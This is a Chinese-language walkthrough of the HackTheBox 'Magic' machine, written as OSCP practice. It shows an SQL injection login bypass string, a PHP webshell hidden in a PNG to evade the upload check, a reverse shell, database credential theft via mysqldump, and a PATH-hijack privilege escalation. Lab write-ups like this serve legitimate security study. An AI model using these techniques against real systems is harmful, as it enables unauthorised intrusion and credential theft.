HTB-WriteUp_Magic
前陣子打靶機的頻率變低還有都沒寫靶機writeup,加上最近想要多練點PT,一個腦波弱就刷了一年HTB會員了,就當提前準備OSCP。
因此就把OSCP LIKE的box都拿出來打一下。
0x00 Recon
老樣子port直接掃下去
1 | PORT STATE SERVICE VERSION |
port 開有點少,我們看到SSH和HTTP,我們先去逛逛網頁
0x01 SQLI
除了一堆圖片,我們會發現有login頁面
但除了這個頁面外網頁也沒什麼特別的
所以這邊就嘗試用sqli萬用密碼
1 | user: 12122' or 1=1; |
成功登入了,我們會看到一個upload頁面
這時候我們就大概能想到上傳webshell了
0x02 Upload webshell
但如果上傳php他會說
Sorry, only JPG, JPEG & PNG files are allowed.
所以我們要想辦法繞過驗證
這裡可以看這篇
https://book.hacktricks.xyz/pentesting-web/file-upload
接著我們試著上傳file.php.png
發現會出現What are you trying to do there?
那這樣我們試試看把webshell藏在圖片裡
1 | �PNG |
上傳後發現成功並可以在/images/uploads/找到檔案
因此推測是會去檢查檔案的Magic Number
並且進去後可以確定收到reverseshell
0x03 user.txt
進去主機後我們先生一個pty一下
1 | python3 -c "import pty;pty.spawn('/bin/bash')" |
之後我們會發現我們是www-data
那我們cat /etc/passwd看看有沒有其他用戶
發現有
1 | theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash |
接著根據我們剛剛有登入東西,所以推測有mysql
我們先到網頁資料夾下偷資料庫密碼
在db.php5裡有
1 | private static $dbName = 'Magic' ; |
但我們拿這個去su theseus會失敗
那只能去mysql看一下了
1 | www-data@magic:/var/www/Magic$ mysql -u theseus -p |
這時候出事了沒mysql
但別慌,測一下還有mysqldump我們可以用mysqldump來看看
1 | mysqldump -u theseus -p Magic |
發現有這段
1 | /*!40000 ALTER TABLE `login` DISABLE KEYS */; |
拿去登登看會發現成功登入
那這樣我們就能到home底下拿到第一個flag了!!
1 | theseus@magic:~$ cat user* |
0x04 Privilege Escalation
最後我們需要root
先把linpeas丟過去讓他跑
-rwsr-x— 1 root users 22K Oct 21 2019 /bin/sysinfo (Unknown SUID binary!)
酷東西,直接ida看
在main下能看到他的exec跑的指令是相對路徑的
所以我們可以寫一個假的lshw然後把檔案位置放在$PATH最前面
1 | cat lshw |
然後
1 | export PATH=/home/theseus:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games |
1 | theseus@magic:~$ /bin/sysinfo |
成功root,我們可以到/root下拿到flag!!